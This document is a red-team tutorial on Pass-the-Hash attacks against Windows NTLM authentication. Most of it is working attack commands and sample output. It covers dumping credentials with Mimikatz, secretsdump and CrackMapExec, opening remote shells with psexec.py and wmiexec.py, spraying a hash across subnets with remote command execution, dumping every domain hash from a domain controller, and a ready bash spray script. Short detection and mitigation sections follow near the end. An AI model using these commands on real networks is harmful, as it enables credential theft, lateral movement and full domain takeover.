What is Pass-the-Hash?
Pass-the-Hash (PtH) is an attack technique that allows authentication to Windows services using the NTLM hash of a user’s password—without ever needing the password in plain text.
The Windows NTLM authentication protocol does not validate whether the client knows the original password; it validates whether the client has the correct hash. This makes NTLM hashes functionally equivalent to passwords.
Why does this work?
The NTLM authentication flow works like this:
- Client requests access to the server
- Server sends a challenge (random nonce)
- Client responds with
HMAC-MD5(NT_hash, challenge) - Server verifies the response
At no point is the plaintext password transmitted or verified. The hash is the credential.
Prerequisites
| Requirement | Detail |
|---|---|
| Target NTLM hash | Obtained via Mimikatz, secretsdump, etc. |
| Accessible service | SMB (445), WMI (135), RDP with NLA disabled |
| Valid account | Local admin or domain admin on the target |
| NTLMv1/v2 protocol | NTLM must be enabled on the target |
> Note: Pass-the-Hash does not work against services that require Kerberos exclusively (e.g., environments with “Restrict NTLM” configured via GPO).
Step 1 — Capturing NTLM hashes
Via Mimikatz (local access with SYSTEM)
# Dump credentials in memory
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
# Relevant output:
# Username : Administrator
# NTLM : aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c
Via Impacket secretsdump (remote, with admin credentials)
# Remote dump via SMB + DCE/RPC
secretsdump.py DOMAIN/Administrator:'P@ssw0rd'@192.168.1.10
# Dump using hash (already doing PtH to capture more hashes)
secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c \
DOMAIN/Administrator@192.168.1.10
Via CrackMapExec
# Dump SAM database
crackmapexec smb 192.168.1.0/24 -u Administrator -H 8846f7eaee8fb117ad06bdd830b7586c --sam
The hash format is always LM:NT. LM is usually aad3b435b51404eeaad3b435b51404ee (empty hash) on modern systems. What matters is the NT part.
Step 2 — Running PtH
Impacket — psexec.py
Opens an interactive shell on the remote host via SMB:
psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c \
DOMAIN/Administrator@192.168.1.20
# Result:
# [*] Requesting shares on 192.168.1.20.....
# [*] Found writable share ADMIN$
# [*] Uploading file XKjQrPwN.exe
# Microsoft Windows [Version 10.0.19044.2251]
# C:\Windows\system32>
Impacket — wmiexec.py
Execution via WMI (quieter than psexec, no file on disk):
wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c \
DOMAIN/Administrator@192.168.1.20 "whoami"
# Result: domain\administrator
Impacket — smbclient.py
Access to the filesystem via SMB:
smbclient.py -hashes aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c \
DOMAIN/Administrator@192.168.1.20
# Browse shares:
# # use C$
# # ls
# # get Users\Administrator\Desktop\flag.txt
CrackMapExec — Spray on the network
Test the hash against multiple hosts at once:
# Check which hosts accept the hash
crackmapexec smb 192.168.1.0/24 \
-u Administrator \
-H 8846f7eaee8fb117ad06bdd830b7586c
# Run command on all that accepted
crackmapexec smb 192.168.1.0/24 \
-u Administrator \
-H 8846f7eaee8fb117ad06bdd830b7586c \
-x "net user /domain"
# Output with (Pwn3d!) indicates success as local admin:
# SMB 192.168.1.20 445 WIN10-DEV [+] DOMAIN\Administrator (Pwn3d!)
# SMB 192.168.1.25 445 WIN-SRV01 [+] DOMAIN\Administrator (Pwn3d!)
Mimikatz — sekurlsa::pth
Injects the hash into the current process for transparent authentication:
# Opens an authenticated cmd.exe with the hash
mimikatz.exe "sekurlsa::pth /user:Administrator /domain:CORP /ntlm:8846f7eaee8fb117ad06bdd830b7586c /run:cmd.exe"
# In the resulting window:
dir \\192.168.1.20\C$ # direct access without password prompt
net use \\192.168.1.20\C$ # maps the share
Movement in domain environments
Identifying hosts with the same local hash
Legacy Windows environments often have the local .\Administrator account with the same password on all workstations (identical OS image). A single hash compromises the entire subnet.
# Quick mapping of assets with the same hash
crackmapexec smb 10.10.10.0/24 \
-u Administrator \
-H <ntlm_hash> \
--continue-on-success \
| grep "Pwn3d"
Pivoting to the Domain Controller
If the captured hash belongs to a Domain Admin:
# Dump NTDS.dit via secretsdump (all domain hashes)
secretsdump.py -hashes :<da_nt_hash> \
DOMAIN/DomainAdmin@192.168.1.1 \
-just-dc-ntlm
# Result: hundreds of hashes, including krbtgt for Golden Ticket
Automation script
#!/bin/bash
# pth_spray.sh — Tests NTLM hash against IP range via CrackMapExec
TARGET_RANGE="${1:-192.168.1.0/24}"
USER="${2:-Administrator}"
HASH="${3}"
if [[ -z "$HASH" ]]; then
echo "Usage: $0 <cidr><user><nt_hash>"
exit 1
fi
echo "[*] Starting PtH spray on $TARGET_RANGE as $USER"
echo "[*] Hash: ${HASH:0:8}...redacted"
echo ""
crackmapexec smb "$TARGET_RANGE" \
-u "$USER" \
-H "$HASH" \
--continue-on-success 2>/dev/null \
| tee /tmp/pth_results.txt
PWNED=$(grep -c "Pwn3d" /tmp/pth_results.txt)
echo ""
echo "[+] Compromised hosts: $PWNED"
echo "[*] Results in: /tmp/pth_results.txt"
> WARNING: This technique should only be used in Red Team engagements with written authorization. Unauthorized use is a crime.
Detection
Defenders should monitor:
| Indicator | Event ID | Description |
|---|---|---|
| Logon with hash (no password) | 4624 | Logon Type 3, without complete NTLMv2 challenge |
| Widespread use of local admin | 4648 | Explicit logon with alternate credentials |
| Known tools | 7045 | PSEXESVC service created |
| Authentication anomaly | 4776 | Unusual host NTLM auth |
Mitigations
- KB2871997 — Restricts use of hashes for local accounts (except RID 500)
- Protected Users Security Group — Forces Kerberos, disables NTLM
- Credential Guard — Isolates LSA in VTL1, prevents extraction via Mimikatz
- LAPS (Local Administrator Password Solution) — Unique passwords per host, eliminates spray
- Tiering model — Isolates domain admin accounts from workstations
- Disable NTLMv1 — Via GPO:
Network security: LAN Manager authentication level</nt_hash></da_nt_hash></ntlm_hash>